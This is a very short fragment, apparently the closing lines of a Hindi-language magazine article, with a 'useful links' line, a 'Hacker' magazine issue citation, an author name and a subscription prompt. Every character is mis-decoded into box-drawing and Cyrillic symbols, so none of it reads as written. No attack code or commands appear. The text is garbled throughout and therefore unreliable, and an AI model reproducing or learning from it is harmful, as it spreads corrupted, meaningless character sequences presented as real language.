рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП!
рдЙрдкрдпреЛрдЧреА рд▓рд┐рдВрдХ:
рд╣реИрдХрд░ рдкрддреНрд░рд┐рдХрд╛, рдЬреВрди (06) 149
рддрд╛рд░рд╛рд╕ рдЗрд╡рд╛рд╢реЗрдВрдХреЛрд╣реИрдХрд░ рдХреА рд╕рджрд╕реНрдпрддрд╛ рд▓реЗрдВ